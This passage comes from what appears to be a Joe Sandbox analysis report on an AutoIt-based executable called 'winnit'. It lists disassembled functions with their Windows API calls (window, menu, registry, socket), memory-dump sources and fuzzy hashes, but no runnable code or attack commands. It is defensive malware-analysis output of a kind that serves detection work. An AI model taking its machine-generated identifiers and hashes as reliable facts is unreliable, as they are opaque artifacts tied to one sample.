                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: EnumFreeLibrary$CloseDeleteOpen
                                          • String ID:
                                          • API String ID: 395352322-0
                                          • Opcode ID: 2ff78ec4d4bcc2e914626e231d92716189fd669332d70b0d2e2e3d3285c83b17
                                          • Instruction ID: d4095dc9c4999fb2a6ab3068f7ea66ec431e459a5e55862ffee58465e9475b47
                                          • Opcode Fuzzy Hash: 2ff78ec4d4bcc2e914626e231d92716189fd669332d70b0d2e2e3d3285c83b17
                                          • Instruction Fuzzy Hash: 47310D75D01109BFDB199F98DC89EFFB7BCEF08300F2045AAE501A3151EA749E859BA0
                                          Function 00B362CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00B362EC
                                          • GetWindowLongW.USER32(00F458E0,000000F0), ref: 00B3631F
                                          • GetWindowLongW.USER32(00F458E0,000000F0), ref: 00B36354
                                          • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00B36386
                                          • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00B363B0
                                          • GetWindowLongW.USER32(00000000,000000F0), ref: 00B363C1
                                          • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00B363DB
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: LongWindow$MessageSend
                                          • String ID:
                                          • API String ID: 2178440468-0
                                          • Opcode ID: 239f4218f32095547cc263b4a254d4728992111f77538cd57c73a14f63f6260b
                                          • Instruction ID: a79781f23842f0bacf2c9ac143926f84853876effa05b728ef1b682b05e65a2d
                                          • Opcode Fuzzy Hash: 239f4218f32095547cc263b4a254d4728992111f77538cd57c73a14f63f6260b
                                          • Instruction Fuzzy Hash: DE311231A44255AFDB20CF1CDC85F693BE1FB4A714F2981A8F5058F2B2CBB1A880DB55
                                          Function 00B0DAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B0DB2E
                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B0DB54
                                          • SysAllocString.OLEAUT32(00000000), ref: 00B0DB57
                                          • SysAllocString.OLEAUT32(?), ref: 00B0DB75
                                          • SysFreeString.OLEAUT32(?), ref: 00B0DB7E
                                          • StringFromGUID2.OLE32(?,?,00000028), ref: 00B0DBA3
                                          • SysAllocString.OLEAUT32(?), ref: 00B0DBB1
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                          • String ID:
                                          • API String ID: 3761583154-0
                                          • Opcode ID: 6fdc376952b81743d194d8999d990293861a01ca477e494f19aebc1fe2a4895c
                                          • Instruction ID: 8d46c5f59e5387534e422444f206b2b2de693a2615acec00e83b4934d4c4cd93
                                          • Opcode Fuzzy Hash: 6fdc376952b81743d194d8999d990293861a01ca477e494f19aebc1fe2a4895c
                                          • Instruction Fuzzy Hash: CF21A136600219AFDF10DFE8DD88CBB7BECEB08360B118565FA14DB2E0DA709C458B60
                                          Function 00B26173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B27D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00B27DB6
                                          • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00B261C6
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00B261D5
                                          • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00B2620E
                                          • connect.WSOCK32(00000000,?,00000010), ref: 00B26217
                                          • WSAGetLastError.WSOCK32 ref: 00B26221
                                          • closesocket.WSOCK32(00000000), ref: 00B2624A
                                          • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00B26263
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
                                          • String ID:
                                          • API String ID: 910771015-0
                                          • Opcode ID: 18e7d1d57d8be3b191bf216ea6ad99611deaf3f1b87692cd96261fedb70cee86
                                          • Instruction ID: 217feb482d85351db4a9cfc5ee2342070e6ed23d15a0032bd1db1edd015d498b
                                          • Opcode Fuzzy Hash: 18e7d1d57d8be3b191bf216ea6ad99611deaf3f1b87692cd96261fedb70cee86
                                          • Instruction Fuzzy Hash: 9B31AF31600129ABDF10AF64DC85FBE7BECEF45761F1440A9F909A7292DB70AC048BA1
                                          Function 00B0F65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __wcsnicmp
                                          • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                          • API String ID: 1038674560-2734436370
                                          • Opcode ID: 79b6b980d113a1c09ba7005cefcfa370826fbfa96ff79308c130ee407b4a8a63
                                          • Instruction ID: cb1e2b6f1acb5291fb48a462f27232cea47fae07d10306de67bf42e5e2ff0ad5
                                          • Opcode Fuzzy Hash: 79b6b980d113a1c09ba7005cefcfa370826fbfa96ff79308c130ee407b4a8a63
                                          • Instruction Fuzzy Hash: 8A216B723045126AD730EB34AD02FB777D8EF55340F50407AF846865E1EB919D42D396
                                          Function 00B0DBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B0DC09
                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B0DC2F
                                          • SysAllocString.OLEAUT32(00000000), ref: 00B0DC32
                                          • SysAllocString.OLEAUT32 ref: 00B0DC53
                                          • SysFreeString.OLEAUT32 ref: 00B0DC5C
                                          • StringFromGUID2.OLE32(?,?,00000028), ref: 00B0DC76
                                          • SysAllocString.OLEAUT32(?), ref: 00B0DC84
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                          • String ID:
                                          • API String ID: 3761583154-0
                                          • Opcode ID: 1f77f8a01530be3bf159fec0233220f28f94fed4dd45b4bbab20b7ce7e0715be
                                          • Instruction ID: 30c23c650f19901b92d5bab701ff9b1f58ef4a24857696a72ec50eb7ed739e4e
                                          • Opcode Fuzzy Hash: 1f77f8a01530be3bf159fec0233220f28f94fed4dd45b4bbab20b7ce7e0715be
                                          • Instruction Fuzzy Hash: 5B216035604205BFEB249BE8DD88DBB7BECEB08360B108165F915CB2E0DAB0DC41C764
                                          Function 00B375CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00AB1D73
                                            • Part of subcall function 00AB1D35: GetStockObject.GDI32(00000011), ref: 00AB1D87
                                            • Part of subcall function 00AB1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00AB1D91
                                          • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00B37632
                                          • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00B3763F
                                          • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00B3764A
                                          • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00B37659
                                          • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00B37665
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$CreateObjectStockWindow
                                          • String ID: Msctls_Progress32
                                          • API String ID: 1025951953-3636473452
                                          • Opcode ID: df33a6b1c4bfb8aee58f8270f064f30a6ecdc37f014904d46d5612f4807947be
                                          • Instruction ID: 039077a09a958177ebb9e783fa91ac0a6e5d1bbea9a7d6cd3ccf78e617f367e6
                                          • Opcode Fuzzy Hash: df33a6b1c4bfb8aee58f8270f064f30a6ecdc37f014904d46d5612f4807947be
                                          • Instruction Fuzzy Hash: 4A11B6B2150119BFEF158F64CC86EEB7F6DEF08798F114114BA04A2060CA729C21DBA4
                                          Function 00AD9AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • __init_pointers.LIBCMT ref: 00AD9AE6
                                            • Part of subcall function 00AD3187: EncodePointer.KERNEL32(00000000), ref: 00AD318A
                                            • Part of subcall function 00AD3187: __initp_misc_winsig.LIBCMT ref: 00AD31A5
                                            • Part of subcall function 00AD3187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00AD9EA0
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00AD9EB4
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00AD9EC7
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00AD9EDA
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00AD9EED
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00AD9F00
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00AD9F13
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00AD9F26
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00AD9F39
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00AD9F4C
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00AD9F5F
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00AD9F72
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00AD9F85
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00AD9F98
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00AD9FAB
                                            • Part of subcall function 00AD3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00AD9FBE
                                          • __mtinitlocks.LIBCMT ref: 00AD9AEB
                                          • __mtterm.LIBCMT ref: 00AD9AF4
                                            • Part of subcall function 00AD9B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00AD9AF9,00AD7CD0,00B6A0B8,00000014), ref: 00AD9C56
                                            • Part of subcall function 00AD9B5C: _free.LIBCMT ref: 00AD9C5D
                                            • Part of subcall function 00AD9B5C: DeleteCriticalSection.KERNEL32(00B6EC00,?,?,00AD9AF9,00AD7CD0,00B6A0B8,00000014), ref: 00AD9C7F
                                          • __calloc_crt.LIBCMT ref: 00AD9B19
                                          • __initptd.LIBCMT ref: 00AD9B3B
                                          • GetCurrentThreadId.KERNEL32 ref: 00AD9B42
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
                                          • String ID:
                                          • API String ID: 3567560977-0
                                          • Opcode ID: 48e03c6958ec007a59021f9fa987f13d28ad335b72cb3afbabbf87b9b1e5f614
                                          • Instruction ID: cf3ccce4c4bf5ab4835aceaa60aa35214d47cc60eafe916d2a825d4be07b997e
                                          • Opcode Fuzzy Hash: 48e03c6958ec007a59021f9fa987f13d28ad335b72cb3afbabbf87b9b1e5f614
                                          • Instruction Fuzzy Hash: F1F090325097126AEB747B74BD0369B36959F02B70F210A1BF4A2D63E2FF60D44141A0
                                          Function 00AD406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00AD3F85), ref: 00AD4085
                                          • GetProcAddress.KERNEL32(00000000), ref: 00AD408C
                                          • EncodePointer.KERNEL32(00000000), ref: 00AD4097
                                          • DecodePointer.KERNEL32(00AD3F85), ref: 00AD40B2
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                          • String ID: RoUninitialize$combase.dll
                                          • API String ID: 3489934621-2819208100
                                          • Opcode ID: 3280f3bf9ee92b12b7da80a046c551806fdb145c0d2711be1aafb6e5f33e59e8
                                          • Instruction ID: 2844ba8f47f8585d1c0bb340a59eb473f441f3243cdf5fa7960f63497a16fa9b
                                          • Opcode Fuzzy Hash: 3280f3bf9ee92b12b7da80a046c551806fdb145c0d2711be1aafb6e5f33e59e8
                                          • Instruction Fuzzy Hash: E9E09270A81301EFEB10AF61EC0DB193BE4BB04B43FA04035F106E35B0CFB64644AA15
                                          Function 00B164B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memmove$__itow__swprintf
                                          • String ID:
                                          • API String ID: 3253778849-0
                                          • Opcode ID: c501d2cfef9f23abf16beb4b3eec8b141f75e8ad3671055b0f970422b07e1cb8
                                          • Instruction ID: 54cae7f4ae66a2b6707a36135384dfdf6171cbaafb02e321ef350db41cc6be0e
                                          • Opcode Fuzzy Hash: c501d2cfef9f23abf16beb4b3eec8b141f75e8ad3671055b0f970422b07e1cb8
                                          • Instruction Fuzzy Hash: EB618A3050425A9FCF11EF60CD82EFE37A9AF45308F4445A9F95A6B2A3DB34E946CB50
                                          Function 00B301E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                            • Part of subcall function 00B30E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B2FDAD,?,?), ref: 00B30E31
                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B302BD
                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B302FD
                                          • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00B30320
                                          • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00B30349
                                          • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00B3038C
                                          • RegCloseKey.ADVAPI32(00000000), ref: 00B30399
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
                                          • String ID:
                                          • API String ID: 4046560759-0
                                          • Opcode ID: 21fbaca9eb0756dcaaaf21174718a3387fa8f75a206efbf29b3ef3da58ce5491
                                          • Instruction ID: 1c5852e101280637386e39890abd8797120ea0e564f20a4bbb18dd51962e5fdf
                                          • Opcode Fuzzy Hash: 21fbaca9eb0756dcaaaf21174718a3387fa8f75a206efbf29b3ef3da58ce5491
                                          • Instruction Fuzzy Hash: 5F518931618201AFC704EF68C995EAFBBE9FF88314F14495DF485872A2DB31E904CB52
                                          Function 00B35799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetMenu.USER32(?), ref: 00B357FB
                                          • GetMenuItemCount.USER32(00000000), ref: 00B35832
                                          • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00B3585A
                                          • GetMenuItemID.USER32(?,?), ref: 00B358C9
                                          • GetSubMenu.USER32(?,?), ref: 00B358D7
                                          • PostMessageW.USER32(?,00000111,?,00000000), ref: 00B35928
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Menu$Item$CountMessagePostString
                                          • String ID:
                                          • API String ID: 650687236-0
                                          • Opcode ID: 93631c7d8560be65fb7134f5943ca5d641cb60e152d8c2dc7663f7c7a957b77f
                                          • Instruction ID: 9effa63782a9cf9819963185096b7eadbc7eeb395f6f775bb6dbbd59eb02504b
                                          • Opcode Fuzzy Hash: 93631c7d8560be65fb7134f5943ca5d641cb60e152d8c2dc7663f7c7a957b77f
                                          • Instruction Fuzzy Hash: F8512B75E00615EFCF11DFA4C945AAEBBF5EF48720F2040A9E952AB351CB70AE41CB90
                                          Function 00B0EEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON
                                          Download Yara Rule
                                          APIs
                                          • VariantInit.OLEAUT32(?), ref: 00B0EF06
                                          • VariantClear.OLEAUT32(00000013), ref: 00B0EF78
                                          • VariantClear.OLEAUT32(00000000), ref: 00B0EFD3
                                          • _memmove.LIBCMT ref: 00B0EFFD
                                          • VariantClear.OLEAUT32(?), ref: 00B0F04A
                                          • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00B0F078
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Variant$Clear$ChangeInitType_memmove
                                          • String ID:
                                          • API String ID: 1101466143-0
                                          • Opcode ID: f051cfb0dad443369d52a819dcd5b1309ca673edd794a09a11476dc118e69deb
                                          • Instruction ID: b0c492962cbdbe49818782b8d22b4e237a9bc7b9ccc02816757e99877d60f1bd
                                          • Opcode Fuzzy Hash: f051cfb0dad443369d52a819dcd5b1309ca673edd794a09a11476dc118e69deb
                                          • Instruction Fuzzy Hash: 12513DB5A0020ADFDB24CF58C884AAABBF8FF4C314F158569E959DB341E735E911CB90
                                          Function 00B1220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B12258
                                          • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B122A3
                                          • IsMenu.USER32(00000000), ref: 00B122C3
                                          • CreatePopupMenu.USER32 ref: 00B122F7
                                          • GetMenuItemCount.USER32(000000FF), ref: 00B12355
                                          • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00B12386
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                          • String ID:
                                          • API String ID: 3311875123-0
                                          • Opcode ID: 1bb5c883daad070e058619d515d75c11c1e16e95e15e3b8f361a57f0248fde16
                                          • Instruction ID: 70177201fe75211a131b2b734edb88fbf1a4a23fc13680f3148305048c60c620
                                          • Opcode Fuzzy Hash: 1bb5c883daad070e058619d515d75c11c1e16e95e15e3b8f361a57f0248fde16
                                          • Instruction Fuzzy Hash: 6A51C030A0020ADFDF21CF68E888BEDBBF5FF45314F5041A9E86197290D7748AA5CB65
                                          Function 00AB1765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                          Download Yara Rule
                                          APIs
